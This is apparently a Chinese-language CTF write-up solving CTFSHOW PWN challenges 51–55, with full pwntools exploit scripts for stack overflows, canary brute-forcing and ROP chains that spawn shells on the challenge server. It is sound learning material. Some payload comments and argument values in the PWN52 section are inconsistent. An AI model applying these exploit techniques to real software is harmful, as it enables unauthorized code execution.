1. 二进制安全入门:CTFSHOW PWN(51-55)解题全记录
最近在刷CTFSHOW的PWN入门题,从51到55这五道题涵盖了栈溢出的几种典型利用场景。作为二进制安全新手,我把解题过程中的关键思路和踩坑经验整理出来,希望能帮到同样在学习PWN的同学。
这组题目都是32位ELF程序,具有以下共同特征:
- 无PIE(地址固定)
- 开启NX(栈不可执行)
- 无栈保护(Canary)
- 存在明显的溢出漏洞点
这些特征使得题目非常适合初学者理解栈溢出原理。下面我会逐题分析漏洞点和利用方法,重点解释payload构造的逻辑。
2. PWN51:简单的后门函数跳转
2.1 程序分析
首先用checksec检查程序保护机制:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA反编译后,发现main函数调用了存在漏洞的strcpy函数:
c复制char dest[32];
strcpy(dest, src); // 无长度检查
在字符串搜索时发现后门函数:
c复制void secret_backdoor() {
system("/bin/sh");
}
2.2 漏洞利用
利用思路非常直接:
- 用字符'I'填满缓冲区(32字节)
- 覆盖返回地址为后门函数地址(0x804902E)
这里有个小技巧:程序会把所有'I'替换为"IronMan",所以实际填充7个'I'就能覆盖32字节缓冲区(7*5=35 > 32)
2.3 EXP构造
python复制from pwn import *
p = remote("pwn.challenge.ctf.show", "28171")
payload = 'I'*7 # 缓冲区覆盖
payload += p32(0x804902E) # 后门地址
p.sendline(payload)
p.interactive()
注意:32位程序用p32打包地址,64位要用p64。这是新手常犯的错误。
3. PWN52:带参数的函数调用
3.1 程序分析
这个程序同样存在明显的gets函数溢出:
c复制char buf[100];
gets(buf); // 危险函数
同时存在一个flag函数需要特定参数:
c复制void flag(int a, int b) {
if(a == 0x11111 && b == 0x36c) {
system("/bin/sh");
}
}
3.2 栈帧布局
需要理解32位程序调用约定:
- 参数从右向左压栈
- 返回地址在EBP上方
- 调用函数时会将返回地址压栈
所以payload结构应该是:
code复制[填充buf][旧EBP][flag地址][返回地址][参数1][参数2]
3.3 EXP构造
python复制from pwn import *
p = remote('pwn.challenge.ctf.show', 28110)
pad = b'a'*(0x6c+4) # buf+ebp
vuln = 0x8048586
payload = pad
payload += p32(vuln) # flag地址
payload += p32(0x11111) # 返回地址(无用)
payload += p32(0x36c) # 参数1
payload += p32(0x36d) # 参数2
p.sendline(payload)
p.interactive()
4. PWN53:Canary绕过实战
4.1 保护机制分析
这次程序开启了栈保护:
code复制Stack: Canary found
程序逻辑是:
- 从文件读取canary值到s1
- 用户输入会与s1比较
- 不匹配则终止程序
4.2 爆破Canary
由于是部分覆盖,可以逐字节爆破:
python复制for i in range(255):
p = remote('pwn.challenge.ctf.show',28168)
p.sendline('-1') # 读取任意长度
pay = b'a'*0x20 + p8(i)
p.send(pay)
if b'Stack Smashing' not in p.recvall():
print(f"Found byte: {hex(i)}")
break
4.3 完整利用
获取canary后构造ROP链:
python复制canary = b'\x33\x36\x44\x21'
payload = b'a'*0x20 # 填充buf
payload += canary # 正确canary
payload += p32(0)*4 # 填充ebp
payload += p32(0x08048696) # flag函数
5. PWN55:多阶段函数调用
5.1 复杂条件判断
这个题目需要依次调用三个函数并满足条件:
- flag1(): 设置全局变量flag=1
- flag2(int): 参数等于0x539
- flag(): 前两个条件满足后执行system
5.2 ROP链构造
利用栈溢出构造连续调用:
python复制flag1 = 0x08048586
flag2 = 0x0804859d
flag = 0x08048606
payload = flat([
b'a'*(0x2c+4), # padding
flag1, # 设置flag=1
flag2, # 检查参数
flag, # 获取shell
0x539, # flag2参数
0xdeadbeef # 填充
])
提示:flat()是pwntools的便捷函数,自动处理打包和拼接
6. 栈溢出利用的通用技巧
通过这五道题,我总结了几个关键点:
-
偏移计算:
- 使用cyclic生成测试字符串
- gdb调试观察崩溃点
- IDA查看变量布局
-
函数调用约定:
- 32位:参数通过栈传递
- 64位:前六个参数用寄存器
-
保护绕过:
- NX:使用ROP或已有函数
- Canary:泄露或爆破
- PIE:信息泄露获取基址
-
调试技巧:
- pwntools的gdb.attach()
- 使用tmux分屏调试
- 记录每次尝试的payload
在实际做题时,我建议先画出栈帧布局图,明确每个数据的偏移位置。这比盲目尝试效率高得多。另外,多使用pwntools的调试功能,可以实时观察内存状态。